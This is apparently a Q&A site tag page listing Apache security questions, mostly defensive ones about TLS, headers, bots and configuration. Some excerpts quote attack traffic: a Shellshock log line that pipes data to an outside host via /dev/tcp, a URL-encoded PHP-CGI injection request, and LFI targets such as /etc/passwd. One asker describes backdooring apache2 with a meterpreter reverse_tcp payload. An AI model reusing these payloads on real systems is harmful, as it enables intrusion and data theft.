Questions about the security of Apache open source software, especially Apache HTTP Server

learn more… | top users | synonyms

2
votes
1answer
1k views

Mod_security for Apache2 blocks cURL!

I'm trying to get my users lat. and lng. from their address using Google's geocoding API but when mod:security is enabled, it prevents it and the script times out. How can I add an exception by IP or ...
7
votes
3answers
2k views

How to access directories disallowed in robots.txt?

While scanning my website with uniscan it found my robots.txt file which disallows access to /cgi-bin/ and other directories, but they are not accessible in browser. Is there a way to access the ...
4
votes
4answers
105 views

Secure environment for servers with sensitive private data

I am developing a web application that will expose a public API to the world, but will store very, very sensitive personal, private data. Having the content hacked would be fatal. I will be using the ...
-3
votes
2answers
218 views

attack on port 80 [closed]

I have a ubuntu ec2 instance server hosting apache2 site & tomcat7 at back end. According to apache logs I have doubt there malicious attack ! Please can anyone confirm it & what can i do to ...
1
vote
1answer
75 views

Are exposed php class files a security vulnerability?

I'm currently trying to make an old PHP web application a little bit more secure. Currently, the apache setup is such that all of the application's class files are available for user access (although ...
11
votes
6answers
14k views

How safe is it to install XAMPP on my home computer to test PHP code?

I want to test some PHP code and I figure the best way is to install XAMPP - but I'm nervous about installing server software on my home computer. Is it generally safe to install XAMPP (given that I ...
2
votes
1answer
197 views

What ciphersuites does Java 6 support out of the box that are not broken?

I have a legacy application which sits on Java 6(!), and talks to Apache 2.2.15 on RHEL 6.4. (An upgrade for Java 6 is on the cards, but not before go-live date.) We have pentest fails for a weak ...
5
votes
1answer
798 views

Is it safe to email the contents of your .htaccess?

If you assume that you're not on HTTPS or that, at least, the security of your connection is compromised, is it safe to email someone the contents of your site's .htaccess file? I'm a novice in this ...
4
votes
1answer
34 views

Is it alright to put .htpasswd in the protected directory if there's just one user?

I'm setting up a directory on an Apache server protected with mod_authn_file. The docs for AuthUserFile say not to put the .htpasswd file in the protected directory: Make sure that the ...
-3
votes
2answers
94 views

Is it possible to stop an SSL Certificate from being portable between servers? [closed]

From what I read it seems that the certificate isn't a big deal since it's already public, and downloaded by every browser, however if someone gets hold of your key file, then you have an issue.
1
vote
1answer
84 views

What type of authentication should I use, basic or digest? [duplicate]

I know that it is strongly recommended to use both basic and digest authentification with https. Many say that if you use SSL, there are no advandages in using digest auth, and basic auth is safe ...
1
vote
1answer
116 views

Strange Log in Apache

I found in my Apache log something strange in requested URL / method request (I suspect an attempt to hack): \x1b\x95J\xe2h\xa7\xcfj\xe1`\x85R\x1f\x98\x9e\xcf\xdedFM(\xa8\xbcc\xc0P\xd9::e\xed\xaa~...
-3
votes
1answer
44 views

LFI attacks auth.log , environ , passwd [closed]

paths like /proc/self/environ , /etc/passwd and /var/log/auth.log are targeted by the attackers. how can I hide those files ( passwd ) ( environ ) ( auth.log ) to be not include in LFI attack
2
votes
0answers
44 views

Cloned site with tricky HTTP_HOST

Another site has cloned mine. The site in question is netdna-cdn.com, and if you do a search on Google ("site:netdna-cdn.com") you will see it has cloned 100's if not 1000's of sites. So in times ...
4
votes
1answer
69 views

What attacks new Apache 2.0 vulnerable to?

I am new to Security field and still learning how all the attacks works. for my testing, I have implemented Apache 2.0 on a Cent OS virtual machine. I have created another machine using FreeBSD, ...
20
votes
8answers
4k views

Should a site have SSL if it doesn't have a login form?

We have a site at work that is used for the following: Our homepage, which is just some info and contact info. Job applications are also handled on our site. There is no place where you can login ...
20
votes
2answers
4k views

HSTS extra security over HTTPS

Is HSTS good to use even if my servers are configured to use HTTPS (Even if HTTP is used, the rewrite rules in apache makes it to HTTPS) Also does HSTS make even the resources like CSS, images to be ...
4
votes
2answers
394 views

How should I block unwanted domain names? [duplicate]

I have noticed that someone pointed his domain to my dedicated IP address and now my website can be viewed using his domain name @ example.com . This can hurt my SE Traffic and SEO in many ways. How ...
1
vote
1answer
109 views

Strange entry in Apache's ports.conf

I am not sure if this may indicate a compromised server or if I'm just being paranoid. While fiddling around with Apache and Webmin on a new Ubuntu 14.04 virtual server (as well as DNS records for ...
1
vote
1answer
564 views

SNI (server name indication) with SSL

Is it possible to use SNI (server name indication) in SSLv3 or SSLv2 handshake? From the search queries, it seems SNI is TLS extension. Is there any alternate to SNI?
0
votes
1answer
1k views

PHP mallware attack [duplicate]

I'm desprate because my site has been attacked by some malware that adds code below on every php files. I tried to edit and chmod the infected file but its coming back. Scanning with ClamAV found ...
9
votes
3answers
2k views

How can I explain to the client that rfc2385 TCP MD5 Checksums can't be turned on for linux webservers?

I've had a long running conversation with a client where they perform a Rapid7 security scan which then warns about TCP MD5 checksums missing on port 80. This is what I think I know: RFC 2385 was ...
2
votes
2answers
721 views

Disable directory browsing using Apache htaccess file

TL;DR What are the risks and downsides associated with allowing Options -Indexes to work in arbitrary .htaccess files on a shared Apache web host? Context Apache web server configuration Linux ...
4
votes
0answers
3k views

Apache vs Jetty with regard to Security [closed]

I am trying to design the architecture of an app that will run on an AWS Linux AMI, inside of a Docker container. The app will deal with sensitive financial data, so security is top priority. The app ...
0
votes
0answers
221 views

Injecting meterpreter/reverse_tcp into apache2 with msfvenom results in seg fault of apache2

I've been trying to use msfvenom with the linux/x86/meterpreter/reverse_tcp payload and an apache2 binary. My intent is to create a tainted version of apache2 to establish a persistent backdoor on the ...
9
votes
3answers
4k views

Does the recommended course of action for preventing Logjam on Tomcat servers really eliminate all risks of weak DH keys?

Can anyone verify this fix secures against the Logjam vulnerability for Apache Tomcat? I'm sceptical about it's effectiveness, since it doesn't mention how to implement the user defined 2048 bit DH ...
3
votes
3answers
534 views

iptables rule to ban and redirect malicious traffic

I'm running Apache 2 and after analysing the access_log I discovered that my website is visited more than 800 times a day (today 924) from majestic.co.uk bot. The bot use this range of IP addresses: ...
0
votes
1answer
287 views

How do configure Apache to resolve 'Missing Cross-Frame Scripting Defence' by app scan [closed]

There is an apache server hosting some website written in PHP and is accessible thru internet. How do configure the apache to resolve 'Missing Cross-Frame Scripting Defence' and can 'Missing Cross-...
2
votes
2answers
6k views

SqlMap bypasses OWASP ModSecurity Core Rule Set for SQL Injection

I am trying to perform a simple penetration test on the DVWA (the web application that has been specifically designed to be vulnerable to some of the most common web application attacks). I want to ...
2
votes
3answers
210 views

Where to place PHP files for security?

A simple question, where do you place PHP files on a server? I can't seem to find any good information on this. Obviously public files should be in the document root somewhere/somehow, since they ...
5
votes
3answers
25k views

How to force all connections to my Apache server to use TLSv1.1 or TLSv1.2?

I tested on Ubuntu 12.04 (apache 2.2.22-1ubuntu1.4 and openssl 1.0.1-4ubuntu5.10) and Ubuntu 13.04 (apache 2.2.22-6ubuntu5.1 and openssl 1.0.1c-4ubuntu8.1). here explain how to do so, but I have the ...
3
votes
0answers
143 views

Obtaining large data sets for research: MySQL, PHP, Apache, etc

I have been looking around the web for large data sets (specifically web related log files - MySQL, PHP, Apache, and so on) that contains data of attempted intrusions/exploits. I am doing some ...
8
votes
3answers
12k views

How can I block an IP, if I'm getting many http requests in a second?

If some one tried force burst attack on my website, how can I block them? Ideally, I want to block an IP if I have many http/Apache requests in a second.
2
votes
2answers
2k views

Load balancer and two machines - how many SSL certificates do I need?

We have a load balancer facing the Internet. It's balancing load towards two systems behind it in the back-end running apache. How many SSL certificates do I need to buy? - One for the load-balancer ...
2
votes
1answer
159 views

Protect against cgi-bin/php attacks centos

I am facing some strange attack while I was checking Apache logs: OST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%...
-2
votes
1answer
99 views

Using a index.php script in my iOS app, what should I do to secure it?

I am really new using web servers and security. I have just written a backend for my iOS app in PHP. It's hosted on a Linode apache server. The index.php us located at http://www.example.com/API/. I'm ...
2
votes
2answers
431 views

Why does StartTLS block connection to apache

When I run this command: openssl s_client -connect my.server:443 -starttls smtp Why does Apache 2.4 & OpenSSL 1.0.1h(running on server 2008R2) stop responding to request from other machines ? ...
2
votes
5answers
2k views

How can I block bots that consistently hit the same URLs?

I am getting slammed hard by bots, and I am not sure how to stop them without blocking my legitimate traffic. I created some iptables rules that say, if X connections in X seconds, block, but that ...
5
votes
3answers
1k views

How can I defend against malicious GET requests?

My server is getting hit with a variety if requests like the following: Started GET "/key/values" ActionController::RoutingError (No route matches [GET] "/key/values") Started GET "/loaded" ...
1
vote
1answer
108 views

How to Develop Waf as Service [closed]

Recently, I've started a my educational project WAF as service. To develop this project as per my view, following things are required: Web Application Firewall is in-line with the web servers; it ...
5
votes
1answer
248 views

Apache webserver behind firewall is a victim of proxy abuse and cannot use fail2ban to solve it

We have a new client with a webserver that's getting too much proxy abuse. The access_log is filled with these kind of lines: 64.187.XXX.XXX - - [12/May/2015:10:32:10 -0300] "GET https://ads.exoclick....
0
votes
3answers
825 views

Is it possible to get Network Domain from Client with PHP or Apache? [closed]

I'm working on a solution to identify client Network Domain or Workgroup in a private network. Based on it, I must change some access permissions. I can't do that through IP address because it isn't ...
1
vote
2answers
150 views

Can Client Certificates be tied to a Specific Server Certificate?

I have a Root Certificate Authority and and Intermediate Certificate Authority. I have created a certificate for the server. SSL on Apache is working fine. Browser recognizes my Chain of Trust with ...
0
votes
0answers
142 views

Correct permissions for /runtime and /assets folders

Could you suggest how to properly configure the right directories in CentOS 6.6? On a server running a framework Yii, which works with the runtime directories and assets. For these directories I need ...
2
votes
1answer
104 views

What does this attack string do? How do I mitigate it?

Today I decided to run the apache-scalp script and it found a few issues. One was ranked as Impact 5, and I'd like to know if someone could explain what this does, and how to disable it? The request ...
2
votes
2answers
121 views

HPKP and multiple SSL certificates

Some weeks ago, we enabled the HTTP Public Key Pinning header on our website. As per the specification, we included not only the SHA-256 fingerprint of our current RSA key, but also that of a backup (...
2
votes
1answer
89 views

Safely sharing session accross sub-domains

So I have a web service that is to be split up over several sub-domains. So app1.xyz.com and app2.xyz.com. Because Safari (last time I checked) does not allow for cookies to be shared across sub-...
-3
votes
1answer
868 views

insecure HTTP Methods Enabled — how to control? [closed]

Here I am new to insecure HTTP Methods Enabled. The server allows HTTP methods that are considered dangerous. The following methods were enabled: PUT,DELETE Software used: Apache-tomcat-6.0....
1
vote
2answers
667 views

how to do 2 way ssl authentication without using a self signed CA

I have a requirement to set a 2 mutual ssl authentication between our apache and an application. I have purchased a cheap SSL from rapid SSL in order to do this. RapidSSL sent a zip folder with ...
3
votes
1answer
206 views

Strange apache log line [duplicate]

I just came across this entry on one of my servers: 213.165.70.245 - - [17/Jun/2015:01:58:22 +0200] "GET / HTTP/1.1" 404 442 "() { :;}; /bin/bash -c \"echo 109.234.106.8/ > /dev/tcp/74.208.79.34/...